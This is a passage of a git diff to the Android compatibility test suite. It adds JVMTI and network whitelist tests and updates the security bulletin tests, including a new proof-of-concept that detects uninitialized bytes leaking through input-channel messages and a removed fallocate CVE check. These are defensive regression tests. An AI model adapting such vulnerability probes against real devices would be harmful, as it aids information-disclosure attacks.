+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
new file mode 100644
index 0000000..a24a927
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest913DeviceApp.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest913HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest913DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_913" />
+        <option name="runtime-hint" value="8s"/>
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/Android.mk b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
new file mode 100644
index 0000000..a43ad90
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest913DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml
new file mode 100644
index 0000000..bd183b8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_913">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="913" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_913" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt
new file mode 100644
index 0000000..735418d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest913@1
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
index 3fcbba9..01e7795 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
@@ -29,13 +29,13 @@
  * Base class for multi user tests.
  */
 public class BaseMultiUserTest implements IDeviceTest {
-    protected static final int USER_SYSTEM = 0; // From the UserHandle class.
-
     /** Whether multi-user is supported. */
     protected boolean mSupportsMultiUser;
     protected boolean mIsSplitSystemUser;
+    protected int mInitialUserId;
     protected int mPrimaryUserId;
-    /** Users we shouldn't delete in the tests */
+
+    /** Users we shouldn't delete in the tests. */
     private ArrayList<Integer> mFixedUsers;
 
     private ITestDevice mDevice;
@@ -44,22 +44,21 @@
     public void setUp() throws Exception {
         mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
         mIsSplitSystemUser = checkIfSplitSystemUser();
+
+        mInitialUserId = getDevice().getCurrentUser();
         mPrimaryUserId = getDevice().getPrimaryUserId();
-        mFixedUsers = new ArrayList<>();
-        mFixedUsers.add(mPrimaryUserId);
-        if (mPrimaryUserId != USER_SYSTEM) {
-            mFixedUsers.add(USER_SYSTEM);
-        }
-        getDevice().switchUser(mPrimaryUserId);
-        removeTestUsers();
+
+        // Test should not modify / remove any of the existing users.
+        mFixedUsers = getDevice().listUsers();
     }
 
     @After
     public void tearDown() throws Exception {
-        if (getDevice().getCurrentUser() != mPrimaryUserId) {
-            CLog.w("User changed during test. Switching back to " + mPrimaryUserId);
-            getDevice().switchUser(mPrimaryUserId);
+        if (getDevice().getCurrentUser() != mInitialUserId) {
+            CLog.w("User changed during test. Switching back to " + mInitialUserId);
+            getDevice().switchUser(mInitialUserId);
         }
+        // Remove the users created during this test.
         removeTestUsers();
     }
 
@@ -131,4 +130,4 @@
                 || "1".equals(commandOuput) || "true".equals(commandOuput)
                 || "on".equals(commandOuput);
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
index 9a4f829..1d8a13e 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
@@ -45,19 +45,11 @@
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
-    private int mInitialUserId;
-    private static final long LOGCAT_POLL_INTERVAL_MS = 5000;
+    private static final long LOGCAT_POLL_INTERVAL_MS = 1000;
     private static final long USER_SWITCH_COMPLETE_TIMEOUT_MS = 180000;
 
     @Rule public AppCrashRetryRule appCrashRetryRule = new AppCrashRetryRule();
 
-    @Before
-    public void setUp() throws Exception {
-        CLog.e("setup_CreateUsersNoAppCrashesTest");
-        super.setUp();
-        mInitialUserId = getDevice().getCurrentUser();
-    }
-
     @Presubmit
     @Test
     public void testCanCreateGuestUser() throws Exception {
@@ -70,7 +62,6 @@
                 false /* ephemeral */);
         assertSwitchToNewUser(userId);
         assertSwitchToUser(userId, mInitialUserId);
-
     }
 
     @Presubmit
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
index 0e141c05..7bf7bd4 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
@@ -175,6 +175,25 @@
         assertBackgroundNetworkAccess(true);
     }
 
+    public void testAppIdleNetworkAccess_idleWhitelisted() throws Exception {
+        if (!isSupported()) return;
+
+        setAppIdle(true);
+        assertAppIdle(true);
+        assertBackgroundNetworkAccess(false);
+
+        addAppIdleWhitelist(mUid);
+        assertBackgroundNetworkAccess(true);
+
+        removeAppIdleWhitelist(mUid);
+        assertBackgroundNetworkAccess(false);
+
+        // Make sure whitelisting a random app doesn't affect the tested app.
+        addAppIdleWhitelist(mUid + 1);
+        assertBackgroundNetworkAccess(false);
+        removeAppIdleWhitelist(mUid + 1);
+    }
+
     public void testAppIdle_toast() throws Exception {
         if (!isSupported()) return;
 
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index 5232372..ec5a877 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -26,10 +26,6 @@
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
 import android.app.ActivityManager;
 import android.app.Instrumentation;
 import android.app.NotificationManager;
@@ -53,6 +49,10 @@
 import android.text.TextUtils;
 import android.util.Log;
 
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
 /**
  * Superclass for tests related to background network restrictions.
  */
@@ -744,6 +744,20 @@
         assertRestrictBackground("restrict-background-blacklist", uid, expected);
     }
 
+    protected void addAppIdleWhitelist(int uid) throws Exception {
+        executeShellCommand("cmd netpolicy add app-idle-whitelist " + uid);
+        assertAppIdleWhitelist(uid, true);
+    }
+
+    protected void removeAppIdleWhitelist(int uid) throws Exception {
+        executeShellCommand("cmd netpolicy remove app-idle-whitelist " + uid);
+        assertAppIdleWhitelist(uid, false);
+    }
+
+    protected void assertAppIdleWhitelist(int uid, boolean expected) throws Exception {
+        assertRestrictBackground("app-idle-whitelist", uid, expected);
+    }
+
     private void assertRestrictBackground(String list, int uid, boolean expected) throws Exception {
         final int maxTries = 5;
         boolean actual = false;
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
index 87f9d77..74875cd 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
@@ -306,4 +306,84 @@
             setBatterySaverMode(false);
         }
     }
+
+    /**
+     * Tests that the app idle whitelist works as expected when doze and appIdle mode are enabled.
+     */
+    public void testDozeAndAppIdle_appIdleWhitelist() throws Exception {
+        if (!isSupported()) {
+            return;
+        }
+
+        setDozeMode(true);
+        setAppIdle(true);
+
+        try {
+            assertBackgroundNetworkAccess(false);
+
+            // UID still shouldn't have access because of Doze.
+            addAppIdleWhitelist(mUid);
+            assertBackgroundNetworkAccess(false);
+
+            removeAppIdleWhitelist(mUid);
+            assertBackgroundNetworkAccess(false);
+        } finally {
+            setAppIdle(false);
+            setDozeMode(false);
+        }
+    }
+
+    public void testAppIdleAndDoze_tempPowerSaveAndAppIdleWhitelists() throws Exception {
+        if (!isSupported()) {
+            return;
+        }
+
+        setDozeMode(true);
+        setAppIdle(true);
+
+        try {
+            assertBackgroundNetworkAccess(false);
+
+            addAppIdleWhitelist(mUid);
+            assertBackgroundNetworkAccess(false);
+
+            addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+            assertBackgroundNetworkAccess(true);
+
+            // Wait until the whitelist duration is expired.
+            SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+            assertBackgroundNetworkAccess(false);
+        } finally {
+            setAppIdle(false);
+            setDozeMode(false);
+            removeAppIdleWhitelist(mUid);
+        }
+    }
+
+    public void testAppIdleAndBatterySaver_tempPowerSaveAndAppIdleWhitelists() throws Exception {
+        if (!isSupported()) {
+            return;
+        }
+
+        setBatterySaverMode(true);
+        setAppIdle(true);
+
+        try {
+            assertBackgroundNetworkAccess(false);
+
+            addAppIdleWhitelist(mUid);
+            assertBackgroundNetworkAccess(false);
+
+            addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+            assertBackgroundNetworkAccess(true);
+
+            // Wait until the whitelist duration is expired.
+            SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+            assertBackgroundNetworkAccess(false);
+        } finally {
+            setAppIdle(false);
+            setBatterySaverMode(false);
+            removeAppIdleWhitelist(mUid);
+        }
+    }
 }
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java b/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
index fe9d36c..5f5ea43 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
@@ -156,6 +156,11 @@
                 "testBackgroundNetworkAccess_enabled");
     }
 
+    public void testAppIdleMetered_idleWhitelisted() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleMeteredTest",
+                "testAppIdleNetworkAccess_idleWhitelisted");
+    }
+
     // TODO: currently power-save mode and idle uses the same whitelist, so this test would be
     // redundant (as it would be testing the same as testBatterySaverMode_reinstall())
     //    public void testAppIdle_reinstall() throws Exception {
@@ -181,6 +186,11 @@
                 "testBackgroundNetworkAccess_enabled");
     }
 
+    public void testAppIdleNonMetered_idleWhitelisted() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
+                "testAppIdleNetworkAccess_idleWhitelisted");
+    }
+
     public void testAppIdleNonMetered_whenCharging() throws Exception {
         runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
                 "testAppIdleNetworkAccess_whenCharging");
@@ -281,6 +291,21 @@
                 "testAppIdleAndBatterySaver_tempPowerSaveWhitelists");
     }
 
+    public void testDozeAndAppIdle_appIdleWhitelist() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
+                "testDozeAndAppIdle_appIdleWhitelist");
+    }
+
+    public void testAppIdleAndDoze_tempPowerSaveAndAppIdleWhitelists() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
+                "testAppIdleAndDoze_tempPowerSaveAndAppIdleWhitelists");
+    }
+
+    public void testAppIdleAndBatterySaver_tempPowerSaveAndAppIdleWhitelists() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
+                "testAppIdleAndBatterySaver_tempPowerSaveAndAppIdleWhitelists");
+    }
+
     /*******************
      * Helper methods. *
      *******************/
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 5e1c4a2..0dce091 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -36,7 +36,6 @@
         <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
         <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
         <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
-        <option name="push" value="CVE-2016-2504->/data/local/tmp/CVE-2016-2504" />
 
         <!-- Bulletin 2016-04 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
@@ -57,12 +56,10 @@
         <!--__________________-->
         <!-- Bulletin 2016-07 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-3809->/data/local/tmp/CVE-2016-3809" />
         <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
 
         <!-- Bulletin 2016-09 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2015-8839->/data/local/tmp/CVE-2015-8839" />
         <option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
 
         <!--__________________-->
@@ -161,18 +158,16 @@
         <option name="push" value="CVE-2018-9424->/data/local/tmp/CVE-2018-9424" />
 
         <!--__________________-->
-        <!-- Bulletin 2018-08 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
-        <!-- Bulletin 2018-09 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
         <!-- Bulletin 2018-10 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2018-9490->/data/local/tmp/CVE-2018-9490" />
         <option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
 
+        <!--__________________-->
+        <!-- Bulletin 2019-03 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
+
         <option name="append-bitness" value="true" />
     </target_preparer>
     <!-- Support for 64-bit software codecs has been deprecated from o-mr1-sts-release    -->
diff --git a/hostsidetests/securitybulletin/res/cve_2016_3916.apk b/hostsidetests/securitybulletin/res/cve_2016_3916.apk
deleted file mode 100644
index 96c6128..0000000
--- a/hostsidetests/securitybulletin/res/cve_2016_3916.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk
similarity index 80%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk
index 65fe025..cd2dbcd 100755
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk
@@ -15,22 +15,24 @@
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2015-8839
-LOCAL_SRC_FILES := poc.c
-
-LOCAL_SHARED_LIBRARIES := libcutils \
-                          liblog
-
+LOCAL_MODULE := Bug-115739809
+LOCAL_SRC_FILES := poc.cpp
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
+LOCAL_SHARED_LIBRARIES := \
+        libbase \
+        libinput \
+        libutils \
+        liblog
+
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CPPFLAGS += -Wall -Werror -Wextra
 LOCAL_LDFLAGS += -fPIE -pie
 LOCAL_LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
new file mode 100755
index 0000000..5b40654
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
@@ -0,0 +1,210 @@
+/**
+* Copyright (C) 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+*      http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+#define LOG_TAG "InputChannelTest"
+
+#include "../includes/common.h"
+
+#include <android-base/stringprintf.h>
+#include <input/InputTransport.h>
+
+using namespace android;
+using android::base::StringPrintf;
+
+static std::string memoryAsHexString(const void* const address, size_t numBytes) {
+    std::string str;
+    for (size_t i = 0; i < numBytes; i++) {
+        str += StringPrintf("%02X ", static_cast<const uint8_t* const>(address)[i]);
+    }
+    return str;
+}
+
+/**
+ * There could be non-zero bytes in-between InputMessage fields. Force-initialize the entire
+ * memory to zero, then only copy the valid bytes on a per-field basis.
+ * Input: message msg
+ * Output: cleaned message outMsg
+ */
+static void sanitizeMessage(const InputMessage& msg, InputMessage* outMsg) {
+    memset(outMsg, 0, sizeof(*outMsg));
+
+    // Write the header
+    outMsg->header.type = msg.header.type;
+
+    // Write the body
+    switch(msg.header.type) {
+        case InputMessage::TYPE_KEY: {
+            // uint32_t seq
+            outMsg->body.key.seq = msg.body.key.seq;
+            // nsecs_t eventTime
+            outMsg->body.key.eventTime = msg.body.key.eventTime;
+            // int32_t deviceId
+            outMsg->body.key.deviceId = msg.body.key.deviceId;
+            // int32_t source
+            outMsg->body.key.source = msg.body.key.source;
+            // int32_t displayId
+            outMsg->body.key.displayId = msg.body.key.displayId;
+            // int32_t action
+            outMsg->body.key.action = msg.body.key.action;
+            // int32_t flags
+            outMsg->body.key.flags = msg.body.key.flags;
+            // int32_t keyCode
+            outMsg->body.key.keyCode = msg.body.key.keyCode;
+            // int32_t scanCode
+            outMsg->body.key.scanCode = msg.body.key.scanCode;
+            // int32_t metaState
+            outMsg->body.key.metaState = msg.body.key.metaState;
+            // int32_t repeatCount
+            outMsg->body.key.repeatCount = msg.body.key.repeatCount;
+            // nsecs_t downTime
+            outMsg->body.key.downTime = msg.body.key.downTime;
+            break;
+        }
+        case InputMessage::TYPE_MOTION: {
+            // uint32_t seq
+            outMsg->body.motion.seq = msg.body.motion.seq;
+            // nsecs_t eventTime
+            outMsg->body.motion.eventTime = msg.body.motion.eventTime;
+            // int32_t deviceId
+            outMsg->body.motion.deviceId = msg.body.motion.deviceId;
+            // int32_t source
+            outMsg->body.motion.source = msg.body.motion.source;
+            // int32_t displayId
+            outMsg->body.motion.displayId = msg.body.motion.displayId;
+            // int32_t action
+            outMsg->body.motion.action = msg.body.motion.action;
+            // int32_t actionButton
+            outMsg->body.motion.actionButton = msg.body.motion.actionButton;
+            // int32_t flags
+            outMsg->body.motion.flags = msg.body.motion.flags;
+            // int32_t metaState
+            outMsg->body.motion.metaState = msg.body.motion.metaState;
+            // int32_t buttonState
+            outMsg->body.motion.buttonState = msg.body.motion.buttonState;
+            // int32_t edgeFlags
+            outMsg->body.motion.edgeFlags = msg.body.motion.edgeFlags;
+            // nsecs_t downTime
+            outMsg->body.motion.downTime = msg.body.motion.downTime;
+            // float xOffset
+            outMsg->body.motion.xOffset = msg.body.motion.xOffset;
+            // float yOffset
+            outMsg->body.motion.yOffset = msg.body.motion.yOffset;
+            // float xPrecision
+            outMsg->body.motion.xPrecision = msg.body.motion.xPrecision;
+            // float yPrecision
+            outMsg->body.motion.yPrecision = msg.body.motion.yPrecision;
+            // uint32_t pointerCount
+            outMsg->body.motion.pointerCount = msg.body.motion.pointerCount;
+            //struct Pointer pointers[MAX_POINTERS]
+            for (size_t i = 0; i < msg.body.motion.pointerCount; i++) {
+                // PointerProperties properties
+                outMsg->body.motion.pointers[i].properties.id =
+                        msg.body.motion.pointers[i].properties.id;
+                outMsg->body.motion.pointers[i].properties.toolType =
+                        msg.body.motion.pointers[i].properties.toolType;
+                // PointerCoords coords
+                outMsg->body.motion.pointers[i].coords.bits =
+                        msg.body.motion.pointers[i].coords.bits;
+                const uint32_t count = BitSet64::count(msg.body.motion.pointers[i].coords.bits);
+                memcpy(&outMsg->body.motion.pointers[i].coords.values[0],
+                        &msg.body.motion.pointers[i].coords.values[0],
+                        count * sizeof(msg.body.motion.pointers[i].coords.values[0]));
+            }
+            break;
+        }
+        case InputMessage::TYPE_FINISHED: {
+            outMsg->body.finished.seq = msg.body.finished.seq;
+            outMsg->body.finished.handled = msg.body.finished.handled;
+            break;
+        }
+    }
+}
+
+/**
+ * Return false if vulnerability is found for a given message type
+ */
+static bool checkMessage(sp<InputChannel> server, sp<InputChannel> client, int type) {
+    InputMessage serverMsg;
+    // Set all potentially uninitialized bytes to 1, for easier comparison
+
+    memset(&serverMsg, 1, sizeof(serverMsg));
+    serverMsg.header.type = type;
+    if (type == InputMessage::TYPE_MOTION) {
+        serverMsg.body.motion.pointerCount = MAX_POINTERS;
+    }
+    status_t result = server->sendMessage(&serverMsg);
+    if (result != OK) {
+        ALOGE("Could not send message to the input channel");
+        return false;
+    }
+
+    InputMessage clientMsg;
+    result = client->receiveMessage(&clientMsg);
+    if (result != OK) {
+        ALOGE("Could not receive message from the input channel");
+        return false;
+    }
+    if (serverMsg.header.type != clientMsg.header.type) {
+        ALOGE("Types do not match");
+        return false;
+    }
+
+    if (clientMsg.header.padding != 0) {
+        ALOGE("Found padding to be uninitialized");
+        return false;
+    }
+
+    InputMessage sanitizedClientMsg;
+    sanitizeMessage(clientMsg, &sanitizedClientMsg);
+    if (memcmp(&clientMsg, &sanitizedClientMsg, clientMsg.size()) != 0) {
+        ALOGE("Client received un-sanitized message");
+        ALOGE("Received message: %s", memoryAsHexString(&clientMsg, clientMsg.size()).c_str());
+        ALOGE("Expected message: %s",
+                memoryAsHexString(&sanitizedClientMsg, clientMsg.size()).c_str());
+        return false;
+    }
+
+    return true;
+}
+
+/**
+ * Create an unsanitized message
+ * Send
+ * Receive
+ * Compare the received message to a sanitized expected message
+ * Do this for all message types
+ */
+int main() {
+    sp<InputChannel> server, client;
+
+    status_t result = InputChannel::openInputChannelPair("channel name", server, client);
+    if (result != OK) {
+        ALOGE("Could not open input channel pair");
+        return 0;
+    }
+
+    int types[] = {InputMessage::TYPE_KEY, InputMessage::TYPE_MOTION, InputMessage::TYPE_FINISHED};
+    for (int type : types) {
+        bool success = checkMessage(server, client, type);
+        if (!success) {
+            ALOGE("Check message failed for type %i", type);
+            return EXIT_VULNERABLE;
+        }
+    }
+
+    return 0;
+}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c
deleted file mode 100755
index c6a330f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c
+++ /dev/null
@@ -1,59 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <cutils/log.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <linux/falloc.h>
-#include <linux/magic.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/utsname.h>
-#include <sys/vfs.h>
-#include <unistd.h>
-
-int main(void) {
-  int fd = -1, result = -1;
-  char tmpFile[32];
-  struct statfs sfs;
-
-  memset(tmpFile, 0, sizeof(tmpFile));
-  strncpy(tmpFile, "/data/local/tmp/tmpFile", 24);
-
-  fd = open(tmpFile, O_WRONLY | O_APPEND | O_CREAT, 0644);
-  if (fd < 0) {
-    ALOGE("Creation of tmp file is failed [%s]", strerror(errno));
-    return -1;
-  }
-
-  fstatfs(fd, &sfs);
-  if (sfs.f_type == EXT4_SUPER_MAGIC) {
-    result = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, 1);
-    if (result < 0 && errno == EOPNOTSUPP) {
-      ALOGD("fallocate result [%s] errno [%d]", strerror(errno), errno);
-      ALOGE("fallocate result EOPNOTSUPP");
-    }
-  }
-
-  if (fd) {
-    close(fd);
-  }
-
-  return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk
deleted file mode 100644
index f4c50fe..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
